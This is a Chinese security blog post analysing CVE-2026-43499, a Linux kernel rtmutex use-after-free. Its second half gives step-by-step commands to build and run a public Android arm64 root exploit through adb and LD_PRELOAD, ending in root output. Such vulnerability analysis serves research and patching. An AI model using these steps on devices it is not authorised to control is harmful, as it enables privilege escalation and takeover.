文章总结: 该文档分析了CVE-2026-43499漏洞,这是一个存在于Linux内核rtmutex子系统的Use-After-Free漏洞,影响2.6.39至7.0.x版本。漏洞源于futex优先级继承路径的代理锁回滚逻辑缺陷,攻击者可通过构造特定场景实现本地提权。文档提供了针对Android设备的PoC实现步骤,包括生成target.h和编译preload.so。建议用户尽快更新内核补丁以修复此高危漏洞。 综合评分: 86 文章分类: 漏洞分析,漏洞POC,红队,内网渗透,恶意软件
15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)
Ots安全
2026年7月20日 19:29 广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
- 漏洞本质
这是一个栈-based Use-After-Free (UAF) 漏洞,位于Linux内核的实时互斥锁(rtmutex)子系统,具体在futex优先级继承(Priority Inheritance, PI)路径的proxy-lock回滚逻辑中。漏洞编号CVE-2026-43499,CVSS评分7.8(High)。
这是一个基于栈的 Use-After-Free (UAF) 漏洞,位于 Linux 内核的实时互斥锁(rtmutex)子系统,具体在 futex 优先级继承(Priority Inheritance, PI)路径的代理锁回滚逻辑中。漏洞编号 CVE-2026-43499,CVSS 评分 7.8(高)。
- 根源代码位置与触发机制
核心问题出在kernel/locking/rtmutex.c的remove_waiter()函数。
在正常慢路径加锁时,remove_waiter()使用当前任务(current)进行清理,这是正确的。但在**futex_requeue()**触发的proxy-lock回滚场景中,等待者(waiter)的waiter::task 并非当前任务,代码却依然错误地对current进行操作,导致以下连锁问题:
- 红黑树(rbtree)出队时未持有正确的waiter::task::pi_lock;
- 未能正确清除waiter->task的pi_blocked_on指针,留下指向已释放内核栈帧的悬空指针;
- 后续rt_mutex_adjust_prio_chain()等函数操作了错误的任务,制造出可控的UAF条件。
攻击者通过精心构造三个futex和线程优先级反转死锁场景,触发race condition,之后利用PR_SET_MM_MAP等系统调用在已释放的栈位置放置伪造的rt_mutex_waiter结构,从而获得内核指针写入原语,最终实现控制流劫持(例如覆盖inet6_protos[IPPROTO_UDP]函数表)并完成Root提权。
- 影响范围与严重性引入时间:2011年Linux 2.6.39(距今15年)。
影响版本:几乎所有未打补丁的主流内核(2.6.39 ~ 7.0.x,CONFIG_FUTEX_PI开启时)。
攻击条件:无需特殊权限,本地普通用户即可触发;容器内也能直接逃逸到宿主机。
实际危害:稳定率可达97%,几秒内完成提权,已有公开PoC(包括针对小米Android arm64设备的LD_PRELOAD实现)。
项目地址:
https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis
这是一个用于CVE-2026-43499的Android arm64本地提权装备项目。
项目会根据目标设备的boot.img和配置文件信息生成target.h,然后编译出对应的preload.so。
说明:本项目是通用设备框架,不绑定单一机型。实际是否可用,以generate_target.py能否成功生成target.h以及真机测试结果相似。
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
依赖
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows下推荐使用:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2里安装make:
pacman -S make coreutils
准备文件
你需要准备:
boot.img
profile.json
profile 示例:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile 里的这两个地址:
p0_phys_offset
p0_kernel_phys_load
可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:
python3 detect_offset.py
Windows 也可以:
python detect_offset.py
使用步骤
- 进入项目目录
Linux / macOS:
cd PATH/project
Windows MSYS2 示例:
cd PATH/CVE-2026-43499-Poc-Analysis-main
- 设置 NDK 路径
Linux / macOS 示例:
export ANDROID_NDK_HOME=PATH/android-ndk
Windows MSYS2 示例:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
- 生成 target.h
python generate_target.py \
--boot boot.img \
--profileprofile.json \
-osource/src/target.h
或者 CMD 使用 :
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
如果提示找不到 llvm-objdump,手动指定路径:
python generate_target.py \
--boot boot.img \
--profileprofile.json \
-osource/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
或者 CMD 使用:
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
成功后会看到类似:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
- 编译 preload.so
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
成功后会生成:
source/build/bin/preload.so
- 推送到设备并运行
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell"chmod 0644 /data/local/tmp/preload.so"
adb shell"LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
验证:
adb shell"/data/local/tmp/su -c 'id'"
成功时一般会看到:
uid=0(root) gid=0(root)
Windows MSYS2 一键流程
按你的路径示例:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
最终文件:
source/build/bin/preload.so
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论